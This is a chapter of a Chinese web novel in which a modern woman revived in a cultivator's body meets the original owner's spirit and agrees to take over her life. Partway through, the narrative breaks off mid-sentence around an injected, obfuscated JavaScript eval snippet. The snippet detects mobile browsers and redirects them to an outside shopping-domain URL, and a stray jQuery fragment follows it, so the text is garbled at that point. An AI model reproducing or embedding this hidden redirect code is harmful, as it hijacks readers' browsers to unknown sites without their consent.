却说另一边,乐游抬头望了望天,又望了望天;
自己只是刚才望着窗外的阳光随口说了句“天气真好。”便稀里糊涂的被沈淮月给她换上一身一样的青色衣裙,接着又稀里糊涂的被按在屋外园子中的藤椅上。
此时正值春分时节,今日虽晴空万里但依旧有些微凉,沈淮月将一块小毯盖在乐游腿上,说道:“你病体初愈,多晒晒太阳透透气总没有坏处。”接着又温温柔柔的笑着拍了拍珍珠的肩膀嘱咐道:“照顾好你师姐,可不能再闹她了昂。”
闻言,珍珠郑重其事的“嗯嗯”两声。
“师妹,我还有要事得去杏林峰一趟,你且好好休养,有什么事就让珍珠来找我。”叮嘱完一大一小两人,沈淮月便转身出了院子。
等沈淮月走后,乐游突然警觉的朝四周看了看:“奇怪。”她总感觉有人一直在背后盯着她,而且这股被紧紧注视的感觉从她一睁眼就一直跟着她。可是面前除了睁着双大眼睛盯着她看的珍珠外再没有别人,便只好作罢。
孙武曾言“知己知彼,百战不殆”,对于乐游而言,眼下最重要的事情便是熟悉这里的一切。
现在沈淮月走了,面前只剩了个年龄极小的珍珠,她心中暗想“珍珠这小孩儿一看就人小鬼大,不如让她带着我先熟悉一下这里的环境,以防万一哪天露陷了还知道走哪条路逃跑最快。”想到这,乐游双眼滴溜一转便有了主意。
只见她笑盈盈开口说:“珍珠呀,我躺了这么多天四肢都要退化了,不如你带我在这附近转转?”
谁知珍珠却一本正经地道:“可是月月师姐说了师姐你要多静养,静养...”
“可现在我什么都忘记了,连自己住在哪间屋子都不清楚,好珍珠,好师妹,你帮我回忆一下好不好?我保证一定量力而行,怎么样?”
乐游两只手拉着珍珠的衣袖,无比真切的说。珍珠对着自己的师姐实在是说不出拒绝的话,只好答应“那好吧,师姐你要是累了一定要跟我说哦。”
乐游见说服了这小孩,猛地一下站起来,可谁知眼前却突然一黑,登时头痛欲裂。珍珠见她站在原地一动不动便担心起来“要不还是算了吧。”
乐游只当是这具身体长时间不运动的后遗症,便强忍着剧痛转移话题,顺口问道:“没事,只是长时间没动弹而已,珍珠呀,你能告诉我都有谁住在这里吗?”
“师姐你和我住这里呀,师父在隔壁哦。”一听珍珠这么说,乐游也顾不上头痛了,只觉得这趟还真没白来,毕竟她也工作了几年,从自己醒来的这一路看来,这地方虽然没张扬到把“有钱”两个字明晃晃的甩在她脸上,但从眼前这些修的十分精妙的青砖碧瓦楼阁院落来看,只要她好好抱住这些大腿,自己就可以当一只无忧无虑的小米虫了。
啊哈哈哈...
狗老天,算你有点良心。
珍珠不懂为什么自家师姐忽然看起来就是一副“捡到钱而且是很多钱”的样子,她歪头眨着眼使劲思考,最终放弃:算了,想不明白。
于是她便牵着乐游的手接着说:
“师姐睡着的这些天,我每天都要和师姐说说话才睡得着,师父每次都说师姐是嫌弃我话太多才不醒来,可是我知道每次等我去书堂的时候,师父他也一直在师姐床边唠叨个不停,说什么都怪他。可是我问师父为什么怪他,他总是不告诉我。”
一听此话,乐游愣在原地不知道该怎么接话,毕竟她不是原主,也不是演员,她不知道该怎么承受身边这些人的感情,虽然咬定自己失忆了,可面对这些和原主亲近的人实在不知道怎么相处。
乐游不禁暗自神伤起来,“而且,也不知道爸爸和妹妹他们知道我死了有多伤心,唉。”
还没等她难过完,头部又开始剧痛起来,这次就像有人拿着锯子正在一点一点锯着她的头盖骨一样,
“嘶。”好痛!
“师姐,你怎么了?师姐?师姐!”乐游晕过去前最后看到的只有满脸慌乱的珍珠。
“嘀——嘀——嘀——”“嘀——嘀——嘀——”
“吵死了!”
机器运转的声音终于让乐游无法再沉睡下去,她只好睁开眼睛,等她发现自己正身处一间及其现代化的手术室后,登时一股巨喜冲上心头:
她回来了!
乐游注意到背对着她的几名医生围在手术台边,不对呀,自己既不是医生也不是护士怎么能随便出现在手术室呢,还是问清楚比较好,于是她稍稍走近了一些开口问道:
“你好?”
......
没有任何人回答她,甚至没有人搭理她。
她还真不信邪了,便又往手术台前凑了两步,正待她再次开口时,
“滴!滴!滴!”一直在心电监测仪上勤恳跳跃的曲线终于撑不住了,变成了一条水平线。
乐游的注意被警报声吸引过去,当她从监测仪上满屏的红色上回神时,她终于看到了那位一直被抢救的患者,那是一张自己无比熟悉的脸:
是她,乐游。
乐游不知道自己接下来该怎么办,时间仿佛在这一刻停下来,她直愣愣的站在原地,空洞的看着医生用除颤仪一下一下抢救那具身体,再后来变成集体对着她默哀。
“唉,宣布死亡吧,送来的时候就太迟了。”
“可惜了,这么年轻的姑娘,比我女儿还小两岁呢。”
等医生们陆续出去后,乐游下意识缓缓走近手术台,她伸出手想碰碰自己,可还等她触到,一股及其强劲的吸力便将她吸到翠微山上。
还没等乐游站稳脚跟,身旁便有一道清冷声音传来,
“别难过。”
乐游低着头从失重感中缓过来后,抬眼缓缓从面前那双青色锦靴往上瞧去:和她同款的青色衣装,以及一张和她有七八分像的脸。
乐游不禁问道:
“你是......乐游?这里的乐游?”
那女子答:
“不错,我是。”
乐游又问:
“那我现在在哪里?你又为什么在这里?这到底怎么回事?”
那女子又答:
“我也不知道,不过我大概是神形分离了,换句话说,我已经死了,是你的倒来让我重新活了起来。”
乐游只觉得大脑越来越乱,忽然她像是想到什么,接着问:
“你还能回到这具身体吗?如果你能回来,我是不是可以回去?”
可那女子却遗憾的摇了摇头,
“天道让我必须离开这里,我回来是想求你一件事。”听她这么说,乐游只好示意她接着讲下去。
“我从你醒后就一直在观察你,你是个好人,我的师父,师妹,师姐,他们也是好人。我想让你替我继续活下去,可以吗?如今你在那边已经死了,不如替我在这里活下去怎么样?你没办法回去的......”
乐游知道她说的都是事实,可见她这样说,却总有口气噎在心里顺不下去:难道自己就连死后都
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590900|205455||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
没法休息吗?
狗老天,你不公平!
“千万不要让师父他们觉察到我死了,他们都是对我最好,和我最亲的人,是我的家人。你可以放心信任他们,可以吗?”
她说这些话时泪水早已决堤,却依旧十分坚定的望着乐游。
乐游看她泣不成声,心里也很不好受,是啊,自己死了,甚至是亲眼目睹的。
“反正自己是死过一次的人了,没什么大不了的,我一个人过别人两辈子,谁来了不说一句羡慕?”
终于,乐游看着她的眼睛十分认真的答道:
“行,我答应你,从今天开始我就是你,你的家人就是我的家人。我们都叫乐游,也许这一切就是上天注定的不是吗?不过你总得把你的记忆给我吧,万一哪天我随口说的‘失忆’被看穿了怎么办,到时候哪怕我不想露陷都不行,你说是吧?”
那女子终于一副如释重负的神情,乐游心中也松了口气,就当她做好准备上演影视剧中那些“指尖相碰就互通记忆”类似剧情时,却见那位原主的魂体开始逐渐变淡。
“谢谢你。”
这是她彻底消失前留给乐游的最后一句话。
......
她就知道。
突然,乐游感觉自己的身体不断下坠...不断下坠...就当她以为自己这次要摔死的时候,双脚却稳稳落在地上,“这是哪?怎么给我弄大山里了?”
她看着眼前的了无人烟的山石峭壁,一时陷入了深深的沉默。最后只好默默抱怨一句
“下次能不能提前说一声再扔?”
无法,她只能在四周到处走走,看能不能找到人问路,“等等,”乐游突然站在原地眯了眯眼,如果她没看错的话,在自己前方的平地上,一名少年正在“和一只怪兽打架?”
?
乐游真想承认是自己看花了眼,可那怪物长的足有两人高,一张大嘴张开时,足足能生吞掉它面前的青衣少年,那东西不是怪兽是什么?
眼看那少年早已落于下风却依旧苦苦支撑,下一秒就要葬身兽口,乐游承认她很害怕,可总不能亲眼看着那少年被咬掉脑袋,她忽然发现自己手中不知何时握着一把利剑,于是在深吸一口气后,提剑砍向那怪物。
她本意是想用剑格开怪兽的爪子后带着少年跑路,谁曾想,那把剑就像有自己的意识一般,竟生生削了怪兽半张脸。乐游:
“!”
她被自己挥出的这一剑吓了一大跳,还没反应过来,手就已经接住了被甩过来的少年。
“吼!!!”
乐游听到身后的怪物发出震天响的吼声,正想回头去看,身体却先自己一步做出了反应,只觉一阵天旋地转后,自己已经把插进怪物的脖子中的剑拔了出来。
面前不知何时又出现了一名陌生男子,
“师叔。”乐游听到自己这样叫那男子。
“不对,”她终于意识到这具身体不受自己控制,换句话说,她只是意识存在于这具身体里,刚刚发生的一切应该是原主曾经的记忆。看来这位“乐游”在靠这种方式为她补充记忆,她暗道:“还真挺有办法。”
于是她任凭自己随着身体的记忆往下走:等她站在被“自己”打服了的怪物旁,一时只觉得这位原主还真是厉害。正当她暗暗惊叹刚才的那千钧一剑时,岂料那怪物突然暴动,乐游下意识推开即将被怪物扑到的少年,自己却被撞出极远。
这一撞,却将熟睡中的乐游惊了醒来。